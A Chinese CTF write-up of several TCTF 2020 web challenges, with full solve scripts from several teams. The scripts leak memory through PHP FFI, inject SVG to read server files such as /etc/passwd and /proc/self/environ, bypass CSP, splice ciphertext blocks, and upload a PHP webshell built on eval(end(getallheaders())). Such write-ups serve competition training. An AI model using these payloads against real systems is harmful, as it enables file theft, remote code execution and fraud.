TCTF几道Web题目复现
0x01 easyphp¬easyphp
限制了disable_function和openbase_dir.
首先可以利用glob来列根目录
读不了文件,看phpinfo开了FFI扩展,参考飘零师傅和CJm00n师傅的博客,题目需要利用FFI的memcpy来泄露内存。
1 | //php ffi捕获异常 |
题目禁止了cdef。然后去看看FFI的其他函数,
load():可以从C的头文件加载C声明。
new():创建一个C数据结构,第一个参数是数据类型,第二个参数可以确定是创建拥有(即托管)数据还是非托管数据。 托管数据与返回的FFI \ CData对象一起存在,并在通过常规PHP引用计数或GC释放对该对象的最后一个引用时释放。 当不再需要时,应通过调用FFI :: free()释放非托管数据。若为false,即不会自动free。
memcpy():将size大小的字节从内存区域src复制到内存区域dst。
string():从内存区域创建PHP字符串。
arrayType():动态构造一个新的C数组类型,其元素类型由类型定义,维数由第二个参数指定。
泄露的步骤:
- 首先加载flag.h
- 开辟一个存放字符数组的空间,保存首元素的地址。
- 开辟一个用来存放复制内容的空间,保存首元素的空间。
- 将等2步得到的地址向前推一个大的范围,复制到第3步得到的地址中。
- 利用string将复制的内容变成字符串,打印出来。
cjm00n
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30 import requests
import re
import json
url = "http://pwnable.org:19261/"
sess = requests.Session()
def exp():
param = {
"rh":
'''
try {
$ffi=FFI::load("/flag.h");
$a = $ffi->new("char[8]", false);
$leak = FFI::new(FFI::arrayType(FFI::type('char'), [102400]), false);
FFI::memcpy($leak, $a-0x24000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
'''
}
resp = sess.get(url, params=param).text
print(resp)
open("out", "w", encoding="utf-8").write(resp)
if __name__ == "__main__":
exp()
运行函数获得flag。
1 | try { |
nu1l
1 $flag=FFI::load("/flag.h");$char=$flag->new("char[0x30]",false);$char=FFI::addr($char);FFI::free($char);$loadflag=FFI::load("/flag.h");print_r($char);
sky
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56 import requests
url = "http://pwnable.org:19261"
params = {"rh":
'''
try {
$ffi=FFI::load("/flag.h");
//get flag
//$a = $ffi->flag_wAt3_uP_apA3H1();
//for($i = 0; $i < 128; $i++){
echo $a[$i];
//}
$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';
$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);
$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);
$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);
//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''
}
res = requests.get(url=url,params=params)
print((res.text).encode("utf-8"))非预期
0x02 Wechat Generator
有两个路由,分别时/share和/preview
可以输入消息,点击preview,得到预览界面。点击share,跳到一个分享图片的链接。
然后访问这个图片,http://pwnable.org:5000/image/tAWfUu/png
将后面的png改成htm或svg可以得到http://pwnable.org:5000/image/tAWfUu/svg
然后在发送表情包的时候发现如下
1 | POST /preview HTTP/1.1 |
之后发现可以在smile后面加上双引号闭合前面,然后利用使用 xlink:href
读文件。
1 | data=[{"type":0,"message":"[smile\"/> <image xlink:href=\"text:/flag\" x=\"0\" y=\"0\" height=\"640px\" width=\"480px\"/>]Love you!"}] |
显示Good job
1 [smile.png"/><image width="1200" height="1200" href="text:/etc/passwd"/> <image href="x]
之后读/proc/self/environ,发现有过滤,双写可以绕过。
1 | data=[{"type":0,"message":"[smile\"/> <image xlink:href=\"text:/proc/self/environ\" x=\"0\" y=\"0\" height=\"640px\" width=\"480px\"/>]Love you!"}] |
1 | data=[{"type":0,"message":"[smile\"/> <image xlink:href=\"text:/prprococ/self/enenvviron\" x=\"0\" y=\"0\" height=\"640px\" width=\"480px\"/>]Love you!"}] |
继续读/proc/self/maps
1 | data=[{"type":0,"message":"[smile\"/> <image xlink:href=\"text:/prprococ/self/maps\" x=\"0\" y=\"0\" height=\"640px\" width=\"480px\"/>]Love you!"}] |
之后读/app/app.py
看到/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws路由,需要alert(1)才可以读到flag,有CSP如下:
1 | Content-Security-Policy: img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self' |
利用meta refresh进行跳转,在服务器上放
1 | <script>alert(1)</script> |
1 | [{"type":0,"message":"Love you!"},{"type":1,"message":"[pout\"/><memetata http-equiv=\"refresh\" content=\"0; url=http://*******/0ctf/\"></memetata>\"]Me too!!!"}] |
还有另一种做法,绕过CSP,因为要同源,所以要找到http://pwnable.org:5000同源的里面包含alert(1),@hyperreality师傅在http://pwnable.org:5000/image/DFBkps/png?callback找到了callback参数,而且可以添加引号闭合,构造出alert(1)。
将这个链接添加到
1 | [{"type":0,"message":"Love you!"},{"type":1,"message":"[lmfao.png\"/> <script xlink:href=\"http://pwnable.org:5000/image/xzEHbO/png?callback=d='\" /> ] "}] |
然后得到share的图片链接
1 | {"url": "http://pwnable.org:5000/share/eDlIfk"} |
访问http://pwnable.org:5000/image/eDlIfk/svg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75 import base64
import json
>import requests
def preview(svg_data):
data = {
'data': svg_data
}
response = requests.post('http://pwnable.org:5000/preview', data=data)
print(response.text[:100])
resp = json.loads(response.text)
previewid = resp["previewid"]
data = resp["data"]
return resp["previewid"], resp["data"]
def share(previewid):
data = {
'previewid': previewid
}
response = requests.post('http://pwnable.org:5000/share', data=data)
print(response.text[:100])
resp = json.loads(response.text)
return resp["url"]
### Stage 1: read files
# URL = "http://r0p.me/bla.svg"
# URL = "text:/etc/os-release"
# URL = "text:/proc/self/environ"
# URL = "text:/flag"
# URL = "text:/usr/share/ghostscript/9.27/Resource/Init/gs_ll3.ps"
# URL = "text:/etc/ImageMagick-6/policy.xml"
URL = "text:/app/app.py"
svg_data = '[{"type":0,"message":"Love you!"},{"type":1,"message":"[lmfao.png\\"/> <image height=\\"1600\\" width=\\"1000\\" xlink:href=\\"' + URL + '\\" /> ] "}]'
previewid, data = preview(svg_data)
svg_decoded = base64.b64decode(data.split(',')[1])
# print(svg_decoded)
url = share(previewid)
png_link = f"{url.replace('share', 'image')}/png"
svg_link = f"{url.replace('share', 'image')}/svg"
print(png_link)
print(svg_link)
# visit_png = requests.get(png_link) # Trigger the HTTP request
### Stage 2: get the flag
def admin(link):
data = {
'url': link
}
response = requests.post('http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws', data=data)
print(response.text)
injected_previewid = """' + alert(1); b = {'c': " """
url = share(injected_previewid)
png_link = f"{url.replace('share', 'image')}/png" # This URL returns an error which we can manipulate with callback
malicious_link = f"{png_link}?callback=a='"
svg_data = '[{"type":0,"message":"Love you!"},{"type":1,"message":"[lmfao.png\\"/> <script xlink:href=\\"' + malicious_link + '\\" /> ] "}]'
previewid, data = preview(svg_data)
url = share(previewid)
svg_link = f"{url.replace('share', 'image')}/svg"
path_only = svg_link.replace('http://pwnable.org:5000', '')
admin(path_only)https://github.com/hyperreality/ctf-writeups/blob/master/2020_tctf/wechat_solve.py
0x03 lottery
http://pwnable.org:2333/index.html
有如下几个路由:
uer/register 注册
user/login 登录
lottery/buy 用钱买彩票,可以得到enc
lottery/info 得到enc解密消息,包括userid lotteryid coin
lottery/charge 兑换
修改coin和userid都不可以,那么就是要分析密文了。找几组enc,base64解密后变成十六进制。
1 | enc1 = "uO3FId8cC%2FcMSJWDrHEIrWAiUTho2AhhKiG8qMm97OFT7u7T1iP3G69pp6bKzzskQdhwNiABgT0Z7DMcD6Ak4gw7PbdNt%2BNkc1TVOlnCf3buJDg1LVhP%2B6b8pAXj6WRmfZKdxFMoBME3TgxrN8viG%2FbSt9reYD8AcCI4hIXsxZg%3D" |
1 | b8edc521df1c0bf70c489583ac7108ad6022513868d808612a21bca8c9bdece153eeeed3d623f71baf69a7a6cacf3b2441d870362001813d19ec331c0fa024e20c3b3db74db7e3647354d53a59c27f76ee2438352d584ffba6fca405e3e964667d929dc4532804c1374e0c6b37cbe21bf6d2b7dade603f007022388485ecc598 |
因为有/info可以解密,所以可以测试分组的规律。
用两个user、coin相同的,lottery不同来判断lottery的位置。
1 | n634F%2Fu7aGYxw8sv3N34F7xISHbfGeHavxo82CFF6GIKsCqbsT1QJTR8X6ehi68XFnee8i%2B8x8bwoSsy2ZJnzx6n0wnptbiUy%2B729fczcNavFwXL3xBqQk9DnZWPX8q%2BeZ%2FMfLiNQVm%2FdAlU93aBTfbSt9reYD8AcCI4hIXsxZg%3D |
后四组相同,说明第四组中含有lottery,可能含有user的userid(无法找到只有userid不同的两个enc),可以用找两个userid不同的enc,base解密后,第一个的前四组和第二个的后四组拼接在一起发送,看是否成功。
1 | from base64 import b64decode,b64encode |
从上面可以看出解密得到的结果
加密时分组的第四组包括userid的前两位,所以只要注册几个userid的前两位相同的用户,然后将买到彩票得到的enc后四组全部替换到一个user,就可以把钱都转移到一个user中。
注册得到一个uuid开头是76的用户,保存他买彩票得到的enc。
1
2{"enc":"Ht3U37\/f5B2DfJue3XduaO9fK591DAP7mCPmZu13mZKmem+107YSQA07GKGGrezJlzhJ3cBJCvdxwpLj4N3dz\/VxMdT9mIEQ2hBe+qQKHtagwQ3B2ZAN9gvW2j57Xpqp8zuNPhJ\/H0kmQaeAAqobYPhIZnVHgXwIkkuehhS\/11g="}
{"info":{"lottery":"7443b465-8661-4770-8942-d7d4fc5ec47c","user":"7638b0fb-7651-4c68-a02e-dc1753a2eb10","coin":10}}继续注册寻找uuid开头为76的用户,找到就买彩票(可以买三次),将得到的enc base64解密后前四组,加上前面得到用户enc base64解密的后四组,去charge。
之后买flag
exp
1 | from base64 import b64decode,b64encode |
nu1l做法:
任意注册账号,只要info[“lottery”]后两位为f6,然后拼接原user的enc。
个人感觉出现漏洞的原因是在兑换彩票时,服务器没有检查兑换彩票的人是不是买彩票的人。应该禁止线上代理兑换彩票。
0x04 Cloud Computing
sandbox/0d3875a1ef234783393169ab868290f038826727/
1 |
|
没有报错,过滤了很多利用eval(end(getallheaders()));
利用error_reporting(-1);开启报错。
1 | POST /?action=upload&data=<?=eval(end(getallheaders())); HTTP/1.1 |
不能看phpinfo(),利用报错可以知道有open_basedir限制,因为在sandbox里可以新建文件夹,然后
1 | POST /?action=upload&data=<?=eval(end(getallheaders())); HTTP/1.1 |
然后读flag。是乱码,看wp说是用foremost得到flag,没有试成功。
0x05 Cloud Computing v2
var_dump(get_defined_functions(1));可以得到可用的函数。
web go逆向,代码同上一题,禁了chdir、chr、dir、scandir、mb_send_mail、ob_end_clean、ob_get_contents、ob_start、readdir、realpath
这些函数。
不能用chdir来绕过open_basedir。内网开了80端口,
下载/agent
之后就是逆向了。。。。。。。。。。。。。。。。
0x06 amp2020
http://pwnable.org:33000/users/login
参考
https://skysec.top/2020/06/27/2020-TCTF-Online-Web-WriteUp/
http://igml.top/2020/06/29/2020-TCTF-0CTF-%E9%83%A8%E5%88%86wp/